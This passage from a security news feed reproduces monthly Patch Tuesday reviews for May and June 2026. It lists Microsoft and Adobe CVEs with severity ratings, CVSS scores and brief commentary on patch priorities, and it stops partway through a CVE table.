  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
